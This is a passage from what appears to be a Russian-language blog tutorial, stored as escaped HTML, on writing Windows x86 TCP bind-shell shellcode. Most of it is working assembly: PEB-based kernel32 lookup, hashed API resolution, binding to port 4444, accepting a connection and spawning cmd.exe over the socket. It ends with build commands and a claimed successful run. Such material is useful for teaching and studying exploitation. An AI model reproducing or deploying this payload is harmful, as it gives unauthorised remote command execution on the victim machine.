\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0438 \u0432 ESI;<br \/>   const sockaddr *addr, \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 sockaddr. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u0434\u0430\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u043d\u0435\u0451;<br \/>   int namelen \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b sockaddr, 16 \u0431\u0430\u0439\u0442.<\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 bind<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tCall Bind ;===================================== \t; creating sockaddr_in structure \txor eax, eax \tpush eax\t\t\t; 0 - all interfaces \tpush WORD 0x5c11\t\t; 4444 port \tpush WORD 2\t\t\t; sin_family = AF_INET = 2 \tmov ebx, esp\t\t\t; set pointer to struct sockaddr_in \t; placing arguments \txor eax, eax \tmov al, 0x10\t\t\t; size of struct sockaddr_in \tpush eax\t\t\t; Push the namelen argument which has been set to 16. \tpush ebx\t\t\t; Push the name argument which has been set to the initialized struct sockaddr in on the \t; stack. \tpush esi\t\t\t; socket descriptor \tcall [ebp - 0x20]\t\t; Calling Bind<\/code><\/pre>\n<p>  \u0417\u0430\u0442\u0435\u043c \u0438\u0434\u0451\u0442 \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 listen. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0441\u043e\u043a\u0435\u0442 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b listen:<\/p>\n<p>  SOCKET s, \u2014 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u043e\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\u044c \u0432 listening. \u041f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0432 ESI;<br \/>   int backlog \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u043b\u0438\u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043e\u0436\u0438\u0434\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u043c\u0435\u043d\u044c\u0448\u0435 1.<\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 listen<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tListen ;===================================== listen: \tpush 0x10\t\t; int backlog \tpush esi\t\t; socket \tcall [ebp - 0x24]\t; Listen<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043e\u043a\u0435\u0442 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 listening \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f: accept.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b accept:<br \/>   SOCKET s, \u2014 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0441\u043e\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435. \u0421\u043d\u043e\u0432\u0430 \u0432 ESI;<br \/>   sockaddr *addr, \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u043c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0438. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0435 \u043d\u0430\u0434\u043e;<br \/>   int *addrlen \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u0438\u043d\u044b \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 addr \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440: 16 \u0431\u0430\u0439\u0442;<\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 accept<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ;\tAccept ;===================================== \txor ebx, ebx\t\t\t; zero ebx \tmov ebx, 0x10\t\t\t; place size of struct \tpush ebx\t\t\t; we need pointer to size \tmov edx, esp\t\t\t; pointer to size \tsub esp, ebx\t\t\t; a place for sockaddr in structure of client \tmov ecx, esp\t\t\t; pointer to this place \tpush edx \tpush ecx \tpush esi\t\t\t; socket descriptor \tcall [ebp - 0x28]\t\t; call accept \tmov esi, eax\t\t\t; save client descriptor<\/code><\/pre>\n<p>  \u041a\u043e\u0433\u0434\u0430 \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u043e\u043a\u0435\u0442\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442, \u0434\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0435\u0440\u043d\u0435\u0442 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043f\u0440\u0438\u043d\u044f\u043b\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u0424\u0443\u043d\u043a\u0446\u0438\u044f, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 CreateProcessA.<\/p>\n<p>  \u0410\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b:<\/p>\n<p>  LPCSTR lpApplicationName \u2014 \u0418\u043c\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0414\u043b\u044f \u043d\u0430\u0441 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, 0;<br \/>   LPSTR lpCommandLine \u2014 \u0418\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430. cmd.exe;<br \/>   LPSECURITY_ATTRIBUTES lpProcessAttributes \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 0;<br \/>   LPSECURITY_ATTRIBUTES lpThreadAttributes \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u043f\u043e\u0442\u043e\u043a\u0430, 0;<br \/>   BOOL bInheritHandles \u2014 \u0435\u0441\u043b\u0438 \u0432 TRUE, \u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u044b \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430-\u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044f, 1.<br \/>   DWORD dwCreationFlags \u2014 \u0444\u043b\u0430\u0433\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043a\u043b\u0430\u0441\u0441\u0430 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u0430 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0414\u043b\u044f \u043d\u0430\u0441 0.<br \/>   LPVOID lpEnvironment \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u043b\u043e\u043a \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0414\u043b\u044f \u043d\u0430\u0441 0<br \/>   LPCSTR lpCurrentDirectory \u2014 \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0414\u043b\u044f \u043d\u0430\u0441 0<br \/>   LPSTARTUPINFOA lpStartupInfo \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 STARTUPINFO \u0438\u043b\u0438 STARTUPINFOEX \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.<br \/>   LPPROCESS_INFORMATION lpProcessInformation \u2014 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 PROCESS_INFORMATION \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. <\/p>\n<p>  <i>\u0412\u044b\u0437\u043e\u0432 CreateProcessA<\/i><\/p>\n<pre><code class=\"plaintext\">;===================================== ; Call cmd.exe ;===================================== \tpush 0x657865 \tpush 0x2e646d63\t\t; cmd.exe \tmov [ebp - 0x2c], esp  \txor ecx, ecx\t\t; zero ecx \tmov cl, 0x54\t\t; size of STARTUPINFO \tsub esp, ecx\t\t; allocate space for the two structures \tmov edi, esp\t\t; set edi to point to STARTUPINFO structure \tpush edi\t\t; Preserve edi on the stack as it will be modified  \t\t\t\t; by the following instructions \txor eax, eax\t\t; Zero eax to for use with stosb to zero  \t\t\t\t; out the two structures. \trep stosb\t\t; Repeat storing zero at the buffer starting at edi  \t\t\t\t; until ecx is zero. \tpop edi\t\t\t; restore edi \tmov byte [edi], 0x44\t; Set the cb attribute of STARTUPINFO to 0x44  \t\t\t\t; (the size of the structure). \tinc byte [edi + 0x2d]\t; dwFlags: Set the STARTF USESTDHANDLES flag \t\t\t\t; to indicate that the hStdInput, hStdOutput,  \t\t\t\t; and hStdError attributes should be used. \tpush edi\t\t;preserve edi again as it will be modified by the stosd \tmov eax, esi\t\t; place socket descriptor into eax \tlea edi, [edi + 0x38]\t; Load the effective address of the hStdInput  \t\t\t\t; attribute in the STARTUPINFO structure. \tstosd\t\t\t; Set the hStdInput attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tstosd\t\t\t; Set the hStdOutput attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tstosd\t\t\t; Set the hStdError attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tpop edi\t\t\t; Restore edi to its original value \txor eax, eax \tlea esi, [edi + 0x44]\t; Load the effective address of  \t\t\t\t; the PROCESS INFORMATION structure into esi. \tpush esi\t\t; Push the pointer to the lpProcessInformation str-e \tpush edi\t\t; Push the pointer to the lpStartupInfo structure. \t \tpush eax\t\t; Push the lpStartupDirectory argument as NULL. \tpush eax\t\t; Push the lpEnvironment argument as NULL. \tpush eax\t\t; Push the dwCreationFlags argument as 0. \tinc eax\t\t\t\t\t \tpush eax\t\t; Push the bInheritHandles argument as  \t\t\t\t; TRUE due to the fact that the \t\t\t\t; client needs to inherit the socket file descriptor. \tdec eax \tpush eax\t\t; Push the lpThreadAttributes argument as NULL. \tpush eax\t\t; Push the lpProcessAttributes argument as NULL. \t \tmov eax, [ebp - 0x2c] \tpush eax\t\t; Push the lpCommandLine argument as the pntr to 'cmd\u2019 \txor eax, eax \tpush eax\t\t; Push the lpApplicationName argument as NULL. \tcall [ebp - 0x4]\t; Call CreateProcessA<\/code><\/pre>\n<p>  \u0418 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u043c \u043d\u0430\u0448 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435\u043c \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.<\/p>\n<pre><code class=\"plaintext\">\tcall [ebp - 0x0C]\t; Call ExitProcess \tret<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043b\u043e\u0436\u0438\u043c \u044d\u0442\u043e \u0432\u0441\u0451 \u0432\u043c\u0435\u0441\u0442\u0435.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0412\u0435\u0441\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"plaintext\">    global  _main      section .text _main: \tpushad \tpushfd \tpush ebp \tmov ebp, esp \tjmp start ;===================================== ; Find kernel32.dll base ; kernel32.dll in high address space ; that's why we don't need to xor eax ;===================================== find_kernel32:     mov eax, [fs:0x30]\t\t; PEB     mov eax, [eax + 0x0c]\t; PEB-&gt;Ldr     mov eax, [eax + 0x14]\t; PEB-&gt;Ldr.InMemoryOrderModuleList.Flink (1st entry)     mov eax, [eax]\t\t; 2nd Entry     mov eax, [eax]\t\t; 3rd Entry     mov eax, [eax + 0x10]\t; address of kernel32.dll     ret ;===================================== ;\tFind function name ;===================================== ; 2 arguments: hash of function name, base of dll ;===================================== find_function_name: \txor esi, esi\t\t; clear ESI register \tpush ebp\t\t; save old EBP \tmov ebp, esp\t\t; new stack frame \tsub esp, 0xc\t\t; 3 local variables: 12 bytes \tmov ebx, [ebp + 0x0C]\t; save &lt;&gt;.dll absolute address in ebx \tmov ebx, [ebx + 0x3c]\t; offset to New EXE Header \tadd ebx, [ebp + 0x0C]\t; absolute address to New EXE Header \tmov ebx, [ebx + 0x78]\t; RVA of Export table \tadd ebx, [ebp + 0x0C]\t; Absolute address of  \t\t\t\t; Export table IMAGE_EXPORT_DIRECTORY ;===================================== ;\t0x14 - Number of Functions ;\t0x1c - Address Table RVA ;\t0x20 - Name Pointer Table RVA ;\t0x24 - Ordinal Table RVA ;===================================== \tmov eax, [ebx + 0x1c]\t; RVA of Address Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Address Table \tmov [ebp - 0x4], eax\t; 1st local variable: base of Address Table \t \tmov eax, [ebx + 0x20]\t; RVA of Name Pointer Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Name Pointer Table \tmov [ebp - 0x8], eax\t; 2nd local variable: base of Name Pointer Table \t \tmov eax, [ebx + 0x24]\t; RVA of Ordinal Table \tadd eax, [ebp + 0x0C]\t; Absolute address of Ordinal table \tmov [ebp - 0x0C], eax\t; 3rd local variable: base of Ordinal table  \tmov ecx, [ebx + 0x14]\t; Number of functions \tmov ebx, [ebp - 0x8]\t; place address of Name Pointer Table  ;===================================== ;\tFund function loop ;===================================== find_function_loop: \tjecxz find_function_finished ; if ecx = 0 =&gt; end \tdec ecx\t\t\t; moving from Number of functions =&gt; 0 \tmov esi, [ebx + 4*ecx]\t; get RVA of next function name \tadd esi, [ebp + 0x0C]\t; base of function name  compute_hash: \txor edi, edi \txor eax, eax compute_hash_again: \tlodsb\t\t\t; load char of function name \ttest al, al\t\t; is it end of function name? \\0 \tjz compute_hash_finished ; end \tror edi, 0xd\t\t; bitwise shift right \tadd edi, eax \tjmp compute_hash_again compute_hash_finished: find_function_compare: \tcmp edi, [ebp + 0x8]\t; compare our hash with calculated \tjnz find_function_loop ;===================================== ;\tGet address of Function ;===================================== \tmov ebx, [ebp - 0x0c]\t; get ordinal table base \tmov cx, [ebx + 2 * ecx]\t; extract relative offset of function \tmov eax, [ebp - 0x4]\t; get base of Address table \tmov eax, [eax + ecx*4]\t; get RVA of our function \tadd eax, [ebp + 0x0C]\t; get base of our function find_function_finished: \tleave\t\t\t; mov esp, ebp; pop ebp \tret ;===================================== ;\tStart ;===================================== start: \tsub esp, 0x28\t\t; 40 bytes = 10 local variables \t; 0x4 \t\tCreateProcessA  \t; 0x8\t\tLoadLibraryA \t; 0x0C\t\tExitProcess \t; 0x10\t\tGetProcAddress \t; 0x14\t\tws2_32.dll \t; 0x18\t\tWSAStartup \t; 0x1c\t\tWSASocketA \t; 0x20\t\tbind  \t; 0x24\t\tlisten \t; 0x28\t\taccept ;===================================== ; \tFind addresses of functions in kernel32.dll ;===================================== \tcall find_kernel32\t; find kernel32.dll \tpush eax\t\t; save address of kernel32.dll \t; CreateProcessA \tpush 0x16b3fe72\t\t; hash of CreateProcessA \tcall find_function_name\t; in EAX return value \tmov [ebp - 0x4], eax\t; place into local address of CreateProcessA \t \t; LoadLibraryA \tmov eax, 0xec0e4e8e\t; hash of LoadLibrary \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find LoadLibraryA in kernel32.dll \tmov [ebp - 0x8], eax\t; save LoadLibrary address \t \t; ExitProcess \tmov eax, 0x73e2d87e\t; hash of Exit Process \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find ExitProcess in kernel32.dll \tmov [ebp - 0x0C], eax\t; save ExitProcess address \t \t; GetProcAddress 0x7c0dfcaa \tmov eax, 0x7c0dfcaa\t; hash of GetProcAddress \tmov [esp], eax\t\t; argument to find_function_name \tcall find_function_name\t; find GetProcAddress in kernel32.dll \tmov [ebp - 0x10], eax\t; save GetProcAddress address ;===================================== ; \tLoad ws2_32.dll ;===================================== \tpush 0x00003233\t\t; 32.dll \tpush 0x5f327377\t\t; ws2_ \tmov ebx, esp\t\t; place address in ebx \tpush ebx\t\t; pointer to string library \tcall [ebp - 0x8]\t; call LoadLibraryA \t \tmov [ebp - 0x14], eax\t; save address of ws2_32.dll  ;===================================== ; \tFind WSAStartup ;===================================== \tpush 0x00007075\t\t; Push WSAStartup \tpush 0x74726174 \tpush 0x53415357 \tmov ebx, esp \tpush ebx\t\t; pushed pointer to WSAStartup \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax \tcall [ebp - 0x10]\t; call GetProcAddress \tmov [ebp - 0x18], eax\t; save address of WSAStartup  ;===================================== ;\tFind WSASocketA ;===================================== \tpush 0x00004174\t\t; push WSASocketA \tpush 0x656b636f \tpush 0x53415357 \tmov ebx, esp \tpush ebx\t\t; pointer to string function -&gt; WSASocketA \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; address of ws2_32.dll to stack \tcall [ebp - 0x10]\t; call GetProcAddress \tmov [ebp - 0x1c], eax\t; save address of WSASocketA \t ;===================================== ;\tFind bind ;===================================== \txor eax, eax \tpush eax \tpush 0x646e6962\t\t; push bind \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x20], eax\t; save address of ws2_32.bind  ;===================================== ;\tFind listen ;===================================== \tpush 0x00006e65\t\t; listen \tpush 0x7473696c \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x24], eax\t; save address of ws2_32.listen  ;===================================== ;\tFind accept ;===================================== \tpush 0x00007470\t; accept \tpush 0x65636361 \tmov ebx, esp \tpush ebx \tmov eax, [ebp - 0x14]\t; address of ws2_32.dll \tpush eax\t\t; pointer to address \tcall [ebp - 0x10]\t; GetProcAddress \tmov [ebp - 0x28], eax\t; save address of ws2_32.accept ;===================================== ;\tCall WSAStartup ;===================================== \txor ecx, ecx \tmov cx, 400\t\t; Create space for WSAdata structure. \tsub esp, ecx \tmov ebx, esp \tmov cx, 0x00000202\t; version for WSAstartup \tpush ebx \tpush ecx \tcall [ebp - 0x18]\t; Call WSAStartup ;===================================== ;\tCreate Socket ;===================================== \txor eax, eax \tpush eax\t\t; dwFlags \tpush eax\t\t; g \tpush eax\t\t; lpProtocolInfo \tpush eax\t\t; protocol \tinc eax \tpush eax\t\t; type = SOCK_STREAM = 1 \tinc eax \tpush eax\t\t; af = AF_INET = 2 \tcall [ebp - 0x1c]\t; Call WSASocketA \tmov esi, eax\t\t; save socket descriptor  ;===================================== ;\tCall Bind ;===================================== \t; creating sockaddr_in structure \txor eax, eax \tpush eax\t\t; 0 - all interfaces \tpush WORD 0x5c11\t; 4444 port \tpush WORD 2\t\t; sin_family = AF_INET = 2 \tmov ebx, esp\t\t; set pointer to struct sockaddr_in \t\t\t\t; placing arguments \txor eax, eax \tmov al, 0x10\t\t; size of struct sockaddr_in \tpush eax\t\t; Push the namelen argument which has been set to 16. \tpush ebx\t\t; Push the name argument which has been set to  \t\t\t\t; the initialized struct sockaddr in on the stack. \tpush esi\t\t; socket descriptor \tcall [ebp - 0x20]\t; Calling Bind  ;===================================== ;\tCall Listen ;===================================== listen: \tpush 0x10\t\t; int backlog \tpush esi\t\t; socket \tcall [ebp - 0x24]\t; Listen ;===================================== ;\tCall Accept ;===================================== \txor ebx, ebx\t\t; zero ebx \tmov ebx, 0x10\t\t; place size of struct \tpush ebx\t\t; we need pointer to size \tmov edx, esp\t\t; pointer to size \tsub esp, ebx\t\t; a place for sockaddr in structure of client \tmov ecx, esp\t\t; pointer to this place \tpush edx \tpush ecx \tpush esi\t\t; socket descriptor \tcall [ebp - 0x28]\t; call accept \tmov esi, eax\t\t; save client descriptor  ;===================================== ;\tCall cmd.exe ;===================================== \tpush 0x657865 \tpush 0x2e646d63\t\t; cmd.exe \tmov [ebp - 0x2c], esp  \txor ecx, ecx\t\t; zero ecx \tmov cl, 0x54\t\t; size of STARTUPINFO \tsub esp, ecx\t\t; allocate space for the two structures \tmov edi, esp\t\t; set edi to point to STARTUPINFO structure \tpush edi\t\t; Preserve edi on the stack as it will be modified  \t\t\t\t; by the following instructions \txor eax, eax\t\t; Zero eax to for use with stosb to zero  \t\t\t\t; out the two structures. \trep stosb\t\t; Repeat storing zero at the buffer starting at edi  \t\t\t\t; until ecx is zero. \tpop edi\t\t\t; restore eid \tmov byte [edi], 0x44\t; Set the cb attribute of STARTUPINFO to 0x44  \t\t\t\t; (the size of the structure). \tinc byte [edi + 0x2d]\t; dwFlags: Set the STARTF USESTDHANDLES flag \t\t\t\t; to indicate that the hStdInput, hStdOutput,  \t\t\t\t; and hStdError attributes should be used. \tpush edi\t\t;preserve edi again as it will be modified by the stosd \tmov eax, esi\t\t; place socket descriptor into eax \tlea edi, [edi + 0x38]\t; Load the effective address of the hStdInput  \t\t\t\t; attribute in the STARTUPINFO structure. \tstosd\t\t\t; Set the hStdInput attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tstosd\t\t\t; Set the hStdOutput attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tstosd\t\t\t; Set the hStdError attribute to the file  \t\t\t\t; descriptor returned from WSASocket. \tpop edi\t\t\t; Restore edi to its original value \txor eax, eax \tlea esi, [edi + 0x44]\t; Load the effective address of  \t\t\t\t; the PROCESS INFORMATION structure into esi. \tpush esi\t\t; Push the pointer to the lpProcessInformation struc. \tpush edi\t\t; Push the pointer to the lpStartupInfo structure. \t \tpush eax\t\t; Push the lpStartupDirectory argument as NULL. \tpush eax\t\t; Push the lpEnvironment argument as NULL. \tpush eax\t\t; Push the dwCreationFlags argument as 0. \tinc eax\t\t\t\t\t \tpush eax\t\t; Push the bInheritHandles argument as  \t\t\t\t; TRUE due to the fact that the \t\t\t\t; client needs to inherit the socket file descriptor. \tdec eax \tpush eax\t\t; Push the lpThreadAttributes argument as NULL. \tpush eax\t\t; Push the lpProcessAttributes argument as NULL. \t \tmov eax, [ebp - 0x2c] \tpush eax\t\t; Push the lpCommandLine argument as the pntr cmd \txor eax, eax \tpush eax\t\t; Push the lpApplicationName argument as NULL. \tcall [ebp - 0x4]\t; Call CreateProcessA <\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0414\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c:<\/p>\n<pre><code class=\"plaintext\">nasm -f win32 portbind.asm &amp; gcc -o portbind.exe portbind.obj<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.<\/p>\n<p>  <i>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u043c<\/i><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gg\/kr\/ep\/ggkrepcly3gttdm4buaofhjw3gc.png\" alt=\"image\"><\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h3>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f Windows TCP Bind \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430. \u0414\u0440\u0443\u0433\u0438\u0435 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b 